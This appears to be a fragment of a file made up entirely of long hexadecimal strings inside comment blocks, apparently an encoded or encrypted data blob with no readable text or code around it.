004180149385a89c021c3e9a732d1abc7d775fb73753f2eb730d461852497e32a32b432e103d597cfdb9f88a27388a08b3add05715159624c575983a8cef2fdd2042f2cbd2c5b1772af9ffba4206bb0673fdbe536ec79449ae22bfc104c436f47f4ff3cf797479841b515d8335f1b830c8982df11cdd13870f494e2b65c492fc08ac46e89dc2065dd2433b835f9669ca87d00f20c5c855e20d1576e6ca458fc88779855f9443ed0c2a11433f3c1dcaa8f72827fc6898eb8ffaf2df05760be6c4f9ee349b70e471560601b153e9a143b6733cf55976b3f0edc8e32d247cd529d908586ae5ee7278228d9be075b360f77cac1733ba4b9e14bfb4dbe85fa006283e4509f24f196177d6046668cf9091370cbf49a43b11647809cb3636105b74604ddcb38698afa2cd3e83fc51008d3b4241abe8b16343de36beb2c8a1dde360136905ba32e910992042d9c64ffa0d22171e3b907965062f6376df42db38fd743cbaa8f3623ef620d76be70129a76fbc83553a4d9150f288ce5056dbb0ef37c281d42dffe2cb709251a1acf1f25f3c66538cc6aac4b0192ed25576885dce5befc903b0f8fa91bdb95b0cc7e2ab60fda23e1845cc5eb1e882402f125b9f5c49b54698f4a6110e7b014a13eb6b29e6cd12d2573408446e4ad8fedb4d2f0bc372396340022f173912e5ce7e3141cbc59bb126d120f7bc855e90a09bc4aacf3d6995fefa49c11114a8a93a42b13920daf1523012c1764c6ee7e16b488b9097e6b4d0f22cb90c8903c2b868895c72a2a182446ab2fa20a2146c07cabf70608c8450efeb8e14fd55827771c2e4188b756a40c7eb98d6524b278b213f6a96b22fc0b73e86f43de4023c5def7306b18497061fc3c3b6886441cf9ed38bc6756ad5bc9c1c5466a44f3d658735614f7b98de99f512f20081f98ef1bc105b483394b3ca619ca80a87c56f78b15171eff7b60a3aa13389b9822c1fd83928d823c1e4e8634d67573332666a9361418acad993993f5569ea820ef8d49ff36e420d1ad23701073f85faa9556cf784fba5da1a041719120e670bb4993387070cf12c91d4f079a336f5840e7fbae5db93316852eb2ce2cf59e24bf1e48cec170f4a7206757a40d28e3a1883f4fa3ed13184921eda8b9af523b02b1ece98adc8aa47cd9fc31bee012bf1f7afac9f36003bf8e61b270296d55a4f52f6258783785c6dd51f50fe0da215abaaccc7a0cc2bdae4619b48709e3267740b8e2dfb561096e018d26968ce406e32842c51087f98dd6e321203fd816f479d244312cc2d119ae07c9f8b5e0ad3e96942fa48758d01711df6fe4be374c131bbe89c1ddde5b3d89a8d5e5aa31f0f8ca368682ddf813d9204a8e8cbfb9f25286e83d46d94036e10ddf86fe6e1f36043e1cc2e4b7baf06852b50e2ea9888e9308d311256b2b62b9fe1ad84a7e2272277d8bf8d285fa6bb99016142aea58671b4daf040770e17ca7dca9bf872a0bcbb85239775bbcc3d1f6e050021ff349426c8e6765b3c09a971ef1d60408c62f740e01d8867bbfa4719c714a66e4ca964b8a33e6b8069296a62a385c1e0c3e170809c89b489c63ca43f084b8e8bbcf8882820716080d2a7f8a24c186b60eabe6fc224e4c5edcb8f18ce3f7ecf8f038e30aa7c46d010e5cbb4afb49338d4b03e9ff3e601e333f53adebef46cd0f91df41a2deac20def51420c59fdfca71048d736b520baf92ad10c833cb8a4d61ee83950d6aad0997d970b2f0dcee0ce5c78235d3496d55182c759d2e6e81e0ad3255121b835aa54f950c68cd5621b5ff40cd84305fc14f907513b922b6a68318f252734f6ccd898b3592359b4bc0fb7b75327b1ee8a08a83ad1de9bc76736f727861086334af22eab4730a382639d2289c7de11735f93d14b91dc2179b3e9a1d6f5a1f9ae7a2783b3ab7913109167baeeafc997b98869b7ff14ec606ba17bef062a5fbd2ab138c0576f7e6e6475a8a7ebd8265ddc5c8313f943dfbe6b382a4c8cee6706f2ae7fc17471b4f9fb64cb87c7163f320305c40677ab1241e30bab152d358b600f4fc61921408aabd231de2ed707dac0cb89a1f9b95a0156f3113dc3d7a719c9806eaa92b09cffb5f4345e4921cb58629704e806292ff61c351f7ef6175ea8cb2ed8b59394235ce7064da2c46be12ae62098c666a2bd004a3585e2e*/
/*b4cc0fc132f3389c0dd47882cb94643dfd8f27afce1bd56abf9736c92cc3b4dc7cedfd88778be061e4482fb45ca16d0360bb490bbfbfd03543f51363cf460c50673459ec73caee5ce2e7d4cd9066ee0ade28425fe5007729d5095b785332b1008d61985b0a271f1e15709b7e3b4a83d126d3abbf202e376e4fd6086536d59cd4826e6dd60b842b5805416a4bd53355ad0e14e0a52f7945c8ddc3ea252a446eb9c3be6f4aea4655190806b8aac4de5fcc63b183a7074306945fb0b94e4176904f39e24a9fb6675fa0eb8c20e9b4519996dad487377dc292ce04aa7e274218c101292ba2f0643e31a2b41a347637349e537f127289be412e8665a673eafb61171da18c6d1d519d5e71f599c81ffef470a09b357a4cae8a8175ca9ecdc5bae64240c32306ce36208963caecfe137a8ae40416b980c476dac0c7205e4abcdde46dd28b2af1aee2397a0bc84c4437e9d9c272b80875463ec0584a67a47987d00727af3f4177f0ee33553e1596969e3db5bae93c2392c862d3b4b51383d8adbbb5fa7a549e6a7b8d6efbb12e4e5b11ca1190395659342a16b892160397ed0efdffe2ed4a90560b7e6503197f0584d03602088e869bec05fb7f4610489d9761aee404a51c1d148d2b44315aee443226bc5375a01ecd62adf9bcf25fd66ac86d40dda94a93435e87fa8c335bc334c6090a49815977d5b85c8f0426e0662ff1e7fb24dd20bc741a9b78fec6e1a90929287944b799a801f3519be95bfeb0a6fd9b9f590f32e11640cda79286a2b7d62af934401033201e2357f553499e564169669bcd6ab6cc5c8f881385c39e3cd3ba6e5add77d14bcdfe1102eac26661f31473cfc5b28b34321ee5b25f9cd687dd19e59cef595270cc0d03fbe3e4da2b3706ff9a700379bc94b587d58bb4d2259c9e8caf7eef361d91db8b30cd8e8aece05bc6532be5eadc78a6037b867b66cd0fef0419f74d5a7bc012bdcd77cd18d1d14230fbb2e987b2eb4c0290ea0fdf46a8e6cd647e8153a519f87fdbf8a924507b31be14f597984a8fd782ba09f93b9285e12cfed33fdb77442fb61086730790463e2e7d6c7de5eaedd2cc3ac2eec34e882026b46a448780920450d1240e9c2aa65b4849303abb6880573a7d9afa5cff9193ce510beb347e04f0943780d3f0408b23e4af38fc94ecc9bf23cadd69fe4b793af7cf46cf94657efbc97f655f27c7197f146f3eab6a9bd0b78c8c871dbdf67d3e229a40eb450fc681516818346e3d84ef6c972771b311ea6ff3b38603f662305e66f5eb4300049f0d89ac1d10c900fbbc97f658d561c0d16c26a2c0ae6dde272579a2fd2d8fd0f705911c429455dc47aac6c66e2249bba354bcbd544ed6704ea3cf7bde58272d4151ab858077f60e54112cda2e4885af14fad1a59d5fdee89327244c6a229f2938a0cccf2e9adf55c2b26429221dfe9e43f15de7debd5c82813218a670f075b4cfff0cd13f2cab65db81ae3baad9c1f5c067c5ebce31d20cf0288656314c54adf2e6822a211372d283ddc7920a033839991b2120300b1d0810b1db109da5822eafc5c50f8585437bd7e67076490cfc5bf88fee833867c74c929ec71316f5934bc90bbdad589f2ca040e1c286332156bc16c95e218c06315ab97bc31249c10bdc698b22e58797512a6ff74c4ef33276321c21c0b525329a895ec58c4d974687eb0e42cb48cb086744c4e8b916ab921e6616dd8efdd9cd02a6c3a6f7816525db312ac92710a400a84e8c6ab6b324f1e94d4aee251de6b1fca92b7a5cd894c2fc7df4d5de8d1dd7ddf7fe11b5d498af5531e5883bfb6728c6faea10e3b4054ee73ced0454de0c58195290910b2fa9d8d4e76e101f0000de6ea9f1835490372fd1d7874caaab8a8839051344917b2393a476518b2df173996a084c4788b597174901a750de90b0c3ac718a9416f454215b1a82f1194f5dee6f626a1a99f69ddf16544e3eb0876ab8f4a765bf159348add39fefe9c5a51dc736826ec800e90a05d2b5f59f235b1818e95539f4c6b1320d2760d72e527afb52be781538ce3181218909e7592c64baf01d5546144dd7c4156c9ffece9843dab84a142c86882cb0ea034e4e62a749a95f15a4d30fd64822bd5211a356548a27a4bf91e1dcaecb55e3e3ab391afb09fa265fd83f026b930be9d3b399f1247129d97c6d5ae9b7e2cab275421fa8385c35f6daf98fa491c152cf1a63da01b963c0e2aa6d6e50af610f466f49542d7b56f647677317caa0a32ecb2b2f6d5715d83518cbfaade9cc7824a419d94416d360e751d587d72d88b68a85781e7a5031d4d64926ffa2a52228f9a179534d424d6d55c5e903e20b0eaa02b14728f4092538c0e4668f8d0a7beb44740dc9098cdb68db29509738f6434cff7ddb9474fd11d3daaef1afd42aa5ea453244b5b2ca826dc5ce67a348874cd7159235c7334d56baa8c21fe1387fc3723380efbe3fc339732f72072638a3cccb2606778361a44075ecc6a3a4b520f9a5bd0d2420297f9cea41a8dd3aeae81e45a4680902b6f7a89d151b4e6eca4512e890d1e98e7dbfb761044831d9c070548fd2d8354ab58d1d93b98a6fe0eabd39d83786fddca5780c75ccdbce1d7c711764f8d0ab1119f760d7612d234f2be076a86b5c2cecbcf22eb119a685d1dc8793b25f0cf4a972111ed95147267d221c058b47dbe93e0601eacea63ff6f3d11b57bf30b2dc7aa1da1a5a3bd774439c16d6081371ed1e5bd45f2711cdd66d0b514bf5b2e0d1d9182d338e7092bf7bae899494e74de27f1b968503b71c82329e5e0e78f371772b5759cd8878adffff2f051f96f101ea*/
/*0d054e480e342455a5e9854195064d2670f0192e3f3a44b7bd6da29c8c50b621b070d59c7e33a185eebc25bf42ee4c3130a2bb6706144b368c05e06f0643313ec444528b1b126e9bbdca9d8aa96388a94acd2f186422808532d810cfc2c7612f23932a29ffa423aec5ad3931673f1451f449f6d829456348d69f0d438c00ae5e12de6963c8f438b188fd82a77a22710f8ed24b4dd250cfad0d0bbe59be9ae413c138feefa83beb0be1386da0010694e59aedc4cf3428ab3bccad05de6699b6912bed99ae36d86edfd7c42371ac6378c3ae7efb08786b386ce89d4cc8aa1e054ce3fec515c7d951defe7fe75b11ed93a58bfb02d91559b2ec9982eaf6f8994a40c961483fe68caa4bddac8771c39d600a7b213c396e96f436728feec728238cc8fe0feff5f7cd9a5df29d49427b4c31799aae76277986c18adc950610393e246d20c5c3b0d4eed9b8ebff9464d4c553ba7691249ac9c8dc3bf930a3b57836b429631360df6cf87e99738c5d55d09374c1298e2feb0231786757065634ab9aa26a6ce73de762e9c239ff0ea0761bc70983ea53dd18e55dbc479970a2603685b59f3717057c9ce92e4841cfc700fabe97f02ff08e6f671229af459b4581c1463bc2d62d844c2d953410ee08f48ad2a29a20dbe41a344b377573d6186919cd9954249e28b874f5cdf2bba93ccb4ccc0d064777ec582136796fdfc7701f8702bde4ec3f14450af72fe8ef1feeeaf5f5f562a412484f84b0ff515a2d725acf5a3ad94a4f0cedf02b9e18fc4e6739a21e194c4fcf2398571bf76e6af8439877fe6cb451dd09ae75c722b22e22e2db8439d65245b305dd3373757ff9c7bec91564a841c0e7c1b7c456f4478d3aa29c26eabf49619e0c7cad3c8e306ae25bbeba0658009183b01e163843bb2cf89947d0aca13a23c2f6cbb82f2d94f376e96e7cfc0c01248f23ee486f3c045c3b9a5f5b6ba37884a2aa1d9d52d3b3a81af2365fe582356d85f0ffa1a1f472a11f50fbbe2f987fd3cc804f8f3bef5b68bc654a2cde9f15ef46f89ab641ced6882f85dbb05100beab93d75c6e68eee8899afadb1e8050f49cc088d0af18404e48174c2606d486f887c33e3d2587311086d8965a94fffff56d84a305da2f620ba914fb20adce57352fe4d0dfc2b952b97132e9abdbcc5fe11c18d0654ac828ef3573294be61e54dc71777916feb99813e3021923c9946e7af61283d46e4a0b5ba3886f7d368409d51139de6c1c759412aae6832c6ce776b537532eaf9575e4bd1d769075928d2798e7ace29c318295cb7c0eb17f5bb449d5140ddd2ed30c6182e6b1aa5a4095cf0fcc56698a20e5c92030aed16de2f9baa43c91d144d10485e11ed68de4bdcf3cfe0150c555d7e9617bd149578ec7a8451a0cdec2b947f294e4542323f7654aeacdc1052bb9ac676f2187d1e3bf4af06f74e2ee868c7bd26d9f43afd31080717de4d2eed80323e440686fececd7945adb4e6d6aef70940063730858e8fd9e5a8be16130806916271aa919e98b70ccfc7486e7351da51e6de147bc071436eea374cebbce922729dda6b13b8e3fe69527533ff1006996f6155616ebc62186384080f65d264b0e87064eec60cbf62ecdcec81b7a028c3df467b426e57ac8e04b5aae6e42ff774446cc7963e51e177c5ba6d9564020ba05ba0817d1c5b8182da27fbbd5826b66efb614509c15624fe3bbf7d37496de051fe0ab21f52d4be39767a5ec1ae8894b6dacf66e1c67bd67efb3cc0e380653aa70639e8d99cc7baafcfba3f029b40f6f0699013216b6ec84190954ded772af81c0a8bc804ca1db89e695f752eb1091b84abe85853e7ba67205e01ab0208a9cf54b3545021400df15773cfa8d7b1b4c1879289ae934fcc42798395f2c62c5ac017942005f2887d2603db7c429ddebe231fa64bb4b2414e9ab3cc06a36b0adeb3fb5cbca9fecee71881f70c614a24b087f0bc3ba1ac6188f8cf090df6d9a92116040bc31891ffca4f7098c5c1059f79cd93812e9195951c54d6ec2087b5e7d3c8cb51a75b76d018dcd9c6d095f44199530e6c24f6e38863730a0e260e9cd643831ea2cb1bf2e5de910b259ea36d24678a5329ec75a6930f76d014d28bb5404f9202e41cc2d0f9c84a19db1ec83109a24c22aa717a04822dfdf67779ab35b4ed0ddb2a9c61a0ae224a8e56613f101b0f600c67c26f1b43f6f9e4d20b21ce85753300916473f09c124b456719104d79b2d99e6616af528ba6b6f1409fae9e6b0a6a68c938892be94dafea70ce0007e3fa293d32860e4c6842a1a05558c6426ab95dfff826d76f359c569d7c7eb705fb4cdd298aba3ff04117b3da1a4a146987d67930e8c94bfe4783abe2c889650a42eb9940ef85a58d1a092065ddeca91dd7ae81c3ccda92da0ee88b6633d032bb8226ae410b323f1cd0412b5d9164683646bf59d5e3f77f9480ede6e062ab1babda5c485b44ecdc80ed2e186f9bdd4510eed0197e9cf7f8f5603774f97ef50b3e123d234ad691db57f4db67825d4fd8ec24e0db915f15ad4b1e0180cc5ecc918f64842a311a42fa56d03a096dc90ff3cb4fec02bf20efb059b7011d79e4b46639a9d006a863a2ee1b9708eec48505ec507a8bf6c722ef25d3efc87b7a11e3ee794deab51f389583594749212f43ae69d9bba9e907978c6ee1a0f2fc5f19f1a80e7c1418074a3bb989cacade03cf0218f68ac20f973f75b52242be256a37c68498ea3f2cd24c95602c4614c0b1bac77dbd293a3220e803ccd8393bab0255e817f8493d417c3a690cf4a949e9e0eec8dbbae9f7591c4a8ac16be5f060ae78cdb7dca55*/
/*ace420fd56a9b7e4789de67c90d6e98ba8d1f7ec8d2f071eadbce76c8af645debafc82270e74f715abac752b125c5fcd18aa83e8df4d1397ad6532d78e33c6387679ff6ac679d444bd03789d17beb3c316c7877b2a28900003aa30d1f70e458b427103141bffc02c1320c2ed469074c38bd3742cc74468dc4cdcfc6d4e42ffe2e84095f7842e2da824a0f66071a0d78d47f07dbdc17f1f95505dd88c4cbfb45586c8a31e3f7053638124686689d09f30cdf6a321650141b3adb79f47f558e17c3231e2f89d41c18b7cc5b887109f3ac1af221a5ecbefd322b8d3a447cdf04f23632317ab9fbbc735b65a13f2d9d3df6396140aaa91dd408aa409e820ea58414356bd2d20956b98fc93f0b0e600ac89d687d50bb7d57c194e47cdc2283d767e80fd987a7f7e243a69419c8823357b27b6a3312bee3b68c7fa3b877ebb75dc864ceb42dd9481fb0ed3ebab7d0f98fde9baf0725e91ea7fd19f306f8707db7894cb34b7df58e9140cdea4dd3b99f8b87545c507cc43bac03c6c2f1b648dc306edcb659cb5ee020f1acfdba0cf286672840bbc3bb46fb774cc68aa54e49f9a183b8ea8cbeff95ab82181980513f387b1706b33974a6c73641ab6f13c1258e34b9691aef5c9436034d2eebf59f498457dd1abca577c99df974c45c115d6b5559d03222dd299539c5ee28097dfcc8124da4d142375b74f2dc729472d41836fd20d5eac3e4f859afecfb34fff9db43f0f23c86206648232816b1072643a5f4bf2b9b5ae31a8283d91d01567872babf5c921977afee25087b282bccabe2652ce2d44574656f916a5744df611c0d26ec7e9854b8a0bf82449776ff0e60ff082b0bc2af2d1b1109755dd5c8c3fc77608232122f7b3ba306fcd539c837cb39d83e36a4db05a6077d8342fd7c6039765a4b89226834e55c860bdaab3c4f4a3e29bc6e77b3c5b74f2b64ec8e128fdfc2d50e755f9afb22c91dc090097d3180c536d42fa24c78d6ffb99e82d858f48ee64aca61e970a6536362e914b4fd97138e57087ed6a3dfc76a4a13bf6c49f5bd21e801dae5452dec59e6b326be9dbe92bacb02c6fbfa673e220e298fee45ede878fbe5165101c5703911044cc0295cf1cf5e549802e1a5e0175fcafb111287f7d8f4935b29a01f4876f4eb22431d5d11e5772ed2118b6fb6b15f7523e14e37959923e8979382dae4d405e48bdf780821fba7107a88aeb10c4541fdbf0133251c5e1f9842cf2d5a3d73c6677c4d92093fb1047b65c389fa5f18edff09e53a5c5066d1d5856d7aef9a1c8ed2b25d93e056cf841e98352875f5f505f8d7ce02dc43b59daf9363d69a17149f2b21e3827ba700e9c03a2f91eb654fccb360106fcd0251396f0591a45b8dac0898487355067dbe6f8aac88bb7cb7e832a1b352cd7c271f4edd563954299143b597a5e4d41fae64da979e749199f8c07a65bc9c59ab00c57c5f13b9a02ae358a207f61b3edd99da1698a0730d2ccdd75be678623952f807f1ac52caab889582af96deed20f25afe6f97175701ca0c9f54c4217459bfa093d7cfbcac70a9e25b7eaa0274860798bb480eeba616576afd5cec6c2c6412d36b7aa33b0135d98a9e6a5a7afa48ccd45849fba2265d8c102675ef9424d66f8a4fcc2727663a7ce1fe466aba486cb809a8e5eb094679e75447b9501f0fa95e67f17f894914e7f5a6f987b0cbccd84e2d3605014926932b5ae9621bc9ec580e269f72ebaab54a19b7e6e3c54c4590567c26968bfeea4af04ae5761069c32a89636588767cb9a2ada2a44613a9b5db039b927026501085c659a460fd10cd0583185b8df68f32955bae5f6625a850a3a64f4350429043673cceaee890110d59a3236f3d6c3490ae6cf3235b7d2b43b88abef0d594601638694a310b0df2e02214db3a21696f2396e0982bef14ff7b91d83cac8bd53991d86debeceafe78fc72cd30313969f9dde1dc633ff06db5ab64197e45920108d485b0f6fd9e81f3afd7a26e84486e1e1e394c3dcc17cfbf4f22ae45bfad609467dc2449f124b9905332a0e60b200cc95d64796a36e1b99fd3f8a1b0825ddea93fc05585313bd93e789bbc59f8517f947d90e4ed5ecf12d82ae798c2aea5592a3d25dd7b2f2c3d42a3c99c906230360bd033a4d56499c1c3605d8953292406ace4d69d9863d832a267e2a9cb148450a4998e8b8e3d3acf48ad212ad06f80fc91af721a46a0e6d35ce13d43f4da1d4601e02ff9de653c6c2d4104817fed593606940b55434d84fad4076983db9dd154452ac2a5ca993cea7d06cd5d0bc215bddba5bf69d12525b105591b1585e3b8869a4cf4edb1f7344a452e6f4d3a377f0ce4900ba272aa61f8908fe4ae4f04555e267907d4b6b0160019686a9d61a4abde793c931a89262cfae853ad6a9ea5b446f450feb66a16e40b65683feca2b63b5d30a6f423daefc1938e55551d8b6a8499690d2fe5874f9ecb470a5ca5870d83d8cffcc22b2f497501ec5dbd6cfaf8e78c176212e7f6c54bfa37446c5eaafb2e78ed5bfbf9c43b4ffce509fe7e6e9b40c12c8b688b4e50b6075687c61179510b11259b4f4bac22296651ccae9be1750eb32fb3f20e3cd904ea38fc237145faafcc61a8818e8c55ca4a6e4da79549aedf26f4c679c9170c5dc0fcb0e2627d400d1cf77e8d2921ad6fa4a630af28d7a9b068206a757f00a4da24a45dde3421aabb92af02f5306b30bb1d28ae96f8e8b240f851d1f28bfb6006a31de3b05447340387c8c79532d02e6cfa47d943934321d9436460ec73d108e3850fcfa3df174e28d7b326ce6febbbfd2afb390c830b05fadf0b7e186d5*/
/*63fc597adb52518ecc85cc3fc95599ba188a50438e3ec67c0ec785c609c26c6ca887a924860763898a37f4cf9eeb386f23fc506ec51b53a17544230804e5516dafe04c9b0d75eaaf667f3817ad54e637492e207298ccb1d45d3bb19b7edf2875c0e75e746f951ef68d871c8d94a2dfc46478e03a2868470782c64e639d6abf26339515dabbf660961c8be54955018a9461a81fc534fc6f530d1ff5b1bb524891d5587b713de45b09c7a2c2aa5b994fd1bd759e45b9984317564ee056f5303bdc3af87816c21be73c2480f3e40d3109b980313bd488d74dad6dd1fb50146211bd198f3b7ddf4514eb26262008d8512947b165219f734c3f7d850ff8c2607fd817ac67d7d81ee64f3fced33483a6618e10c14cf83876c6203797ee5e14b94c74737aa00b2a5d2e50ea6c241a8c3ab3a5a91e1b07640668df5bf8d1aa77f36d42a47e62035f72bcf867bae613ae5248dfe35b9e2ecbad04f5583ea73bc3aec24596593d7de0868ce14ac2d5b07692fafe02454c173f1a0ab11affda9d8c957de22148b5d1551042e51e8393a9d8f5068c9ed7346e06472382db400dbe087c8af8d8fe0dfa82f026a615f874164702966a2e161f860a13ac0d0527f8dd4c8390ee88e41a9d87b0dcc71ed7974f5d643a37244e9e5870fe8470d87aadec9f0c36e849cff98522a2ebf50f027d2a32d2bda46280c9028c4ca947e54a1d8b9fb679f0cb9ab49d93e900dc97b285f5aa1a1cc9562a1b585d7b0f804b895e3450c712200b5fda229285157fb8799403374eb4ffcd2919fc23b60b811a88cbadb617b40f56152679b6dbd59ab3db5278b1b12ffa2577525d7a8e01cc1bda78da666f2fadd315be71e86be67c80264074396e0e6021758338accb8392d00e27822552744d62081434fd13992ca515afa9ed725a9f8ddd638d109ed7d44ac60dad0d702045216a85c92659e3c9135d8e26e69b4aa607e81226d693876b04bc2a57b9cc1583c93eb2dd3d1219fbb09086751bc1137d2bc2d16fab5b5e762589ec253784e0b1c673e1eb72355bf120ff3eda377c447b1fdf6e96c8ee6c41486ac10c7c3200899750069917a419aff42a94710bca186901102fd93e87645f60c3c3a1d68133978ad4d3808341841a6a66079d69c35f0c1367b1b0cddcf31a98da537b2b6d28af97d766c5eb9c55a4df6440c0cce345430b9f20c4113764201203caf3e4b58472c2a89b32fd9ddbcddb26d893fa9cdf9dbf2c661b91fb19c26b556a138913895a5273ddf9d59b64b91ff4d41d6242201f99a3d560894a74fa9146c36475d0d078a22d919a501924465e067c94bd3b6935b35366225b1bf6b8fb65e7fb0fb1b75d4a9eb13cb83860d80d6fa74b4626cf35ace7ac288bd7e851c36a88b660fbfdb85b02e383ffaa30e58df10542bbc98d87fbbd3967516b4bc39866e46a136b7a391fd06a8c95f86da4394c3b38b94833079b96ec9806fd15c60b5f001bd7b0b294e3d8297784d0e0717e0fb5222a6aa9dbc80cb65c962ddb57d747ee616cfe9986f729c80a57b98924d2c31bd890383cbaa9632fd786220e6a2184abf5da5ebe4ae169a0c2256d11939856658713d68a58bc88dff0ad6b8252b36b1df4af43e30d527517dc6791c3ecceb53603b08c4501d1b2db16cd18cfc133cec02cec53600d19fb136aa20296b7ecdca112b2b7d9cbc06cf81c82573209907077106b6002574983ae20383dd07517b709abcbfdc4e4a58552a04d928c80ddfb8c6b4185cb7912e83b9ad6cd89950525894c98719feb86a90145fc330f5a99ad477015273b14dcce446e3504d41e493ccffad703cbe8bbebdcf786c78883f1375df21f0d71a6ae472a0696b57ed3b750f377492e2db1d72210d0d85f69ef03be218b05b7fe271c99ae3e510d04b5cb60b16912b854a92dff531571bf952c847cc4e6b78c73f7f809dc4f6d0a6eb5f736e4750829eb4c4a2a66ec9d80b9cfd52956bd6d039f37384662c2293457a4a90e99ed4cb07c868965a6282dba51f1658de5b60563350757be4e3480a2895348569a5437b0f9ecb9555a7fc7a7424cf4948c8d76464d9f997f1da6d22fbae9fb7a71dcc7fc7cccfa7dd81eae82ebfc2051a4a9007c213d152f6ac0bf1231ff9da7982c2206989fc85526c24f2ec4b1c2e72a1c9d5c800416e8075256c2abf4fadd11942f0d7def83ecca3250311c640479e7500aa87c4e35d60a712df0f318c5b70281b00f6f29c8d0b8fbf5889b9901ad0f9706940e794a6f0c8640e988b68addbd28c694ca7d2d6ee292e0110911e14e12567a15380e3ad62d279c60595e39341856a583fc3fc117ffff3e598a6ceab65524fc21be0bc0b0ecf9abc99a3886f3542a3880cb7f6477985ca66835542cbea94dfee8731efe7e6ca56499a8b5796579f4477a5bcf5a1579a81cc017201bed280dc44dfc66649f1058d15920181ed612613e8e7d842fccefb0562e937bc38cb3b42a215d7ca144168127edb604d03203c4a6f027fb904d8f280c688484ab4f46a6cef416579cf6ef48e1ff3a493fdede96595bc187884529905a5f3dcbfd9e76b9334024f4b3b7bc51e2a60583a61b8b1293f1d97c25d331b2d6ecc3e12d48504c216f4a117f3a602b67680dc48e095b1f711bf8d75a3e0fa73d518f0106be68ef294c60c4ebd12e4777346f99382cda5ce2d8495ca2df49a5df8fcbf3ff4dcb8f7004b1d61cd02291e5e1d1322c1ab09cba37bbc30c03720449c8ad89fb6631a92e6f1713705d92f82d1a64d10c66c7d42aba0068a7a143999ec0f24e567bae7de2e680863c34246d5f03bcfb23c8f2bd00c3b530d9*/
/*d4f71e166ee66ab1d9b1d2be53f6b2e8837946df0c96022c4a153805a3f733f42a3b8a02aee2eef81bd705bb717a2e4070b151129cb358106280038ef252583ea2c63703c25510e44cc1c9b09132f5d2cc781c1002c55afc49b5bd2e7e78e3e13016b69a73301affe6c3e4083075629b3c0e57603af708b57a9602886fce22b0e22248625def75bcb34f49f3667851f7da144e6afe2241f1fcfab5646c110bc75a44e6b9187b2dea5ffc0692321eba82728e8a6b9d0e8c1e8ea5ee653be43b6237ec3c86562ca1056f9bfa3dea8b676d0b8d19e3b18c78a56f56d29f38a5c2c86d678b61f79167874ede3fa4565ca6fb91c288e71ab05b10e8cdc3e6a6edea7cf56b7b6586f72beb40d08d0340104b79ea245cfd7496ea07be94643952f81b9f69893594c5a022c96fc347672bcd4b8ec213465c04c18cd92257b468dc46f21def8370d2561c72ccc332fb92ea981afee3e274c3dfdc38b4d92d3053db46418c51d82eb922ff8a584e44c1e88586895beed27466a6d03991398183cd6b94fc1beac3973358f26e92a228766943def1b41b7bc9bdb24421eccd456b18fb51a215290f32119ab1254b106a47caa5592aad86ea8b9f0d6aa82280eac295bad73c7091e6d0d2bf6960f8d3c411a134c2c125f3b1b3db6f9b4e4c326bda1bc64bb889c5b6d948957334fd1f09c7b0ff243c4a200478b867db8ec3a7fca8c0ae357b9e758acd1c065764b37b03f19771206cc0c5ec3a156cc01a2102d33f693c91aff948981ec9adf0f5eaed76a3efb1a44dbfe6cd060d37b51e68d4938f1eea761f3a229b19a8d26a808adb58576b3f09492cd80160c5d8a0f92616b1baa923cc4b44f8b5220a2e10a4dbee664aaec0a9c1f7a3430300f1d0a30034eb03735642fd121546509832d9cec24bdd5d47946a6af0fd34f5e8c04a0180a6b4269aebe313f280d68a06ffe81882760dc3b2c7bdade08901d1aff47330fc43a961ca3056299dc14af26e9dc771f9ebff66714831f204dac1a1924ccad5626a93d747b2fd6d5ed5dc234f97128658885b6495ebc5601000c666b61a69e04887d6ca9e6e3d2d266152680a639c96df16462817bbb5b2015a2961c1431755cf434c5a0837107e0145815835a8bcbc0006141fad528744fbc93f91b88492a95fe759863609bbb1a170814762dcc6544693cd6347d2675d4725ec62a5287f3fa2f036e40a309361514f1d069a2ef42e77fcc390672a842d3278f16e590e63e366f2ea847f826f083911d2f515953ad9aec42d363a5f817eb9ff82b5222d7c7827da33ae0b9b047b776350f72763fb0f8c551d7aba1ff49bfd67f1875e39544f5b06420109f8ed25a47509d1c5b2857b4925f662769d121cc7156f407fd2ab845bd67695490092c9f3d53c2e4d5f0e3b1d2ec81a38179eb1b180d0900c757fc540fb9e54209ae23e9241733b87bf25e74139617ab8a5faf68816e3fb93095df254a085a3438dece99b9736a54548e7e7d0c27f0f13a10549103fb46aa987ad08c8e2f8af47d4590923f8d3905d584ae4ceeebcc646c0743184a36864c136387e18100ac74997170382886d5bd30855890acd52cc5d2401d643413599f5d0911ee33a9c3c4e2f37a7b7a90a74feb4dee530f6a5f8cb91d87fded715d816e445768f16b14bb9eaeecb00783d4837f3e641c6fbb8ad0683bdd9c459df05bcbcfe5640f6b7390476042f34f67c8834e59fc0d8bd10057a647ae35c6db45cc6ed81fb227924514ef2bf170840d6004b07324a3bde4fec6b683e36b4414bdc2bd5a67c85e273dc4fb8fffeaf7a5caad80a24961c75b5f6569ced5891dde7ba68176e902a86398b998ea9483affc3a06f902fd813d8d1b00d448efd86d97ab44ebc87bc375f096a7ea7a42f6613571247c7257d40980471b0653bdf7bee615a0fc7317dc143361799f0b1b53e016d1daf0259a0ab9ff4df89ab73b8ac17d17bb24f74d496dee652ce7d24a909a5fdd7e1490fdc59f001513703869e9e2f470f1ff6b1f0539e7effdd774231fe9603a29edd6e3ed7368219cc3bea7895b8b65eb78f951b27f9dc78494512be5699948bfa26987dfa3d93d064da5073ab38e70de16361fe18d0748d68a49c5fe182d52333803ca71cc2bb3bf60c3e0f3eda6d580cda9a45a179a7e73faa2b18034d8481ec939cd10ab68593e9e3796648e4a1a8c6f14f15415c4650d8a0a5fe31ccfbbe290172d2ea591c60f07f38ea8478dd733620138f998b448a2023f23e1e4edd7bbbbee5d2c06633eee942d4264714c6a9d348c932b64348c84fe579d26c485b74dafb5e9fa7c0169a982f5e7f56b94e9017360b49d99192772de4c125eeab083e1602d13b4504e07ad904f7a8363def6c5fcea97ac1e1025dc28b19911a8d385718852dd997b060ae742fdc561d9f83c1dd05d8da1c72a2e4dafa7f3a920c0f16907375b071fa0ef6cad5605e094d5e036981808fc54c2f767b23843f7ad8103ce243a7ed0c94d0b0eb692e31306bb71c9650662d813de2ff1ecc614939ab27f418ee4bcbbee87d1e8dbbfc39eab38c1124d064626afb7161c48c1baf4190354236fb93941debebd87a5ca9522749ee02d4c592046715e12e60149261bb20c95f382b7e19bd059cd72be5175198c49e25236d0988482dd6e58332317111eb60aea62c79c82c964f85c599febdb0843a558b6d1d0802f4875ac5201301ffeb6c73f66a9175c5768cfd8998287452abc1643219a89be262523a3e056d68156d865fa047dd249f1343cf5f9746401a7499c72d17852c8342626e751da1199e6b62da21006913002089d7f1544bfb27*/
